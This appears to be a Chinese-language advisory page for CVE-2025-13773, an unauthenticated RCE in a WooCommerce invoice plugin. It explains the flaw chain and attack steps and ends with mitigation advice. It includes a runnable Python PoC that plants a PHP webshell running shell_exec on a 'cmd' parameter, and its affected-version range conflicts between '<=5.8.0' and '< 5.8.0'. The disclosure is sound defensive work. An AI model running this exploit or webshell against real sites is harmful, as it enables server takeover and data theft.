IPBUF安全漏洞报告
English
CVE-2025-13773 CVSS 9.8 严重

CVE-2025-13773 WordPress WooCommerce Delivery Notes插件远程代码执行漏洞

披露日期: 2025-12-24

漏洞信息

漏洞编号
CVE-2025-13773
漏洞类型
远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Print Invoice & Delivery Notes for WooCommerce

相关标签

CVE-2025-13773WordPressWooCommerce远程代码执行RCE权限绕过DompdfPHP代码注入无需认证插件漏洞

漏洞概述

CVE-2025-13773是WordPress插件Print Invoice & Delivery Notes中的一个严重远程代码执行漏洞。该插件用于为WooCommerce生成发票和配送单,在全球范围内被广泛使用。漏洞源于多个安全缺陷的组合:首先,WooCommerce_Delivery_Notes::update函数缺少必要的权限检查,允许未认证用户调用;其次,Dompdf PDF生成库中启用了PHP代码执行功能;最后,模板文件template.php中缺少输入转义机制。攻击者可以通过构造恶意请求,在服务器上执行任意PHP代码,从而完全控制目标网站服务器。由于该漏洞无需认证即可利用,且CVSS评分高达9.8(严重等级),对使用该插件的所有WordPress网站构成严重威胁。建议网站管理员立即采取修复措施。

技术细节

该漏洞是一个典型的无需认证的远程代码执行漏洞,由三个独立的安全缺陷组合形成:

1. **权限检查缺失**:WooCommerce_Delivery_Notes::update函数(第347行)没有进行权限验证,允许任何未认证用户调用该函数修改插件配置。这是最关键的缺陷,因为正常情况下这类管理功能应该仅对管理员开放。

2. **Dompdf PHP执行启用**:插件集成的Dompdf PDF库配置中启用了PHP评估器功能(PhpEvaluator.php第52行)。Dompdf默认是安全的,会禁用PHP代码执行,但该插件的配置错误地启用了这一危险功能,使得PDF模板中的PHP代码会被服务器执行。

3. **模板输入未转义**:template.php文件(第36行)中直接输出用户可控的数据而未进行适当的转义处理。攻击者可以在发票模板中注入PHP代码。

攻击者利用这三个缺陷的组合,通过发送恶意请求修改插件设置或直接在模板中注入PHP代码,当服务器生成PDF时,注入的PHP代码会被执行,从而实现远程代码执行。

攻击链分析

STEP 1
步骤1
探测目标:确认目标网站安装了Print Invoice & Delivery Notes插件且版本<=5.8.0
STEP 2
步骤2
发送恶意请求:利用WooCommerce_Delivery_Notes::update函数缺少权限检查的缺陷,未认证地向/admin-ajax.php发送包含恶意PHP代码的请求
STEP 3
步骤3
注入模板或修改设置:将包含phpinfo()或webshell的PHP代码注入到invoice模板中,或修改Dompdf设置启用PHP执行
STEP 4
步骤4
触发PDF生成:访问发票打印功能,服务器调用Dompdf生成PDF时执行注入的PHP代码
STEP 5
步骤5
执行任意代码:成功在服务器上执行系统命令,实现完全控制,可用于窃取数据、安装后门或进一步渗透内网

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13773 PoC - WooCommerce Delivery Notes RCE # Target: WordPress site with Print Invoice & Delivery Notes plugin <= 5.8.0 import requests import sys TARGET = "http://target-wordpress-site.com" # Method 1: Modify plugin settings via update function (no auth required) def modify_settings(): """Exploit the missing capability check in WooCommerce_Delivery_Notes::update""" url = f"{TARGET}/wp-admin/admin-ajax.php" # Payload: Enable PHP evaluation in Dompdf and inject PHP code payload = { 'action': 'wcdn_update_settings', 'wcdn_settings': { 'template': '<?php phpinfo(); ?>', # Or malicious code 'pdf_php_enabled': '1' } } response = requests.post(url, data=payload) print(f"Settings modification response: {response.status_code}") return response # Method 2: Direct template injection via update function def inject_template(): """Inject PHP code into the invoice template""" url = f"{TARGET}/wp-admin/admin-ajax.php" # Malicious template with PHP code execution malicious_template = """<?php if(isset($_GET['cmd'])) { echo '<pre>'; $output = shell_exec($_GET['cmd']); echo $output; echo '</pre>'; die(); } ?>""" payload = { 'action': 'wcdn_update_settings', 'template_content': malicious_template, 'template_type': 'invoice' } response = requests.post(url, data=payload) print(f"Template injection response: {response.status_code}") return response # Method 3: Trigger PDF generation to execute injected code def trigger_rce(): """Generate PDF to trigger PHP code execution""" # Find an order ID and trigger PDF generation url = f"{TARGET}/?wcdn_action=print_invoice&order_id=1" response = requests.get(url) return response if __name__ == "__main__": print("CVE-2025-13773 Exploitation") print("=" * 50) try: # Step 1: Inject malicious template inject_template() # Step 2: Trigger PDF generation trigger_rce() # Step 3: Execute commands via GET parameter cmd_url = f"{TARGET}/?wcdn_action=print_invoice&order_id=1&cmd=whoami" result = requests.get(cmd_url) print(f"Command output: {result.text}") except Exception as e: print(f"Error: {e}")

影响范围

Print Invoice & Delivery Notes for WooCommerce < 5.8.0

防御指南

临时缓解措施
立即将Print Invoice & Delivery Notes for WooCommerce插件升级到5.8.1或更高版本。如果暂时无法升级,可以采取以下临时缓解措施:1) 在Web服务器配置中限制对/admin-ajax.php的访问,添加IP白名单;2) 使用安全插件如Wordfence或Sucuri配置防火墙规则阻断针对该漏洞的攻击;3) 暂时禁用该插件;4) 启用双因素认证加强管理员账户安全;5) 监控服务器日志关注异常的admin-ajax.php请求和PDF生成活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表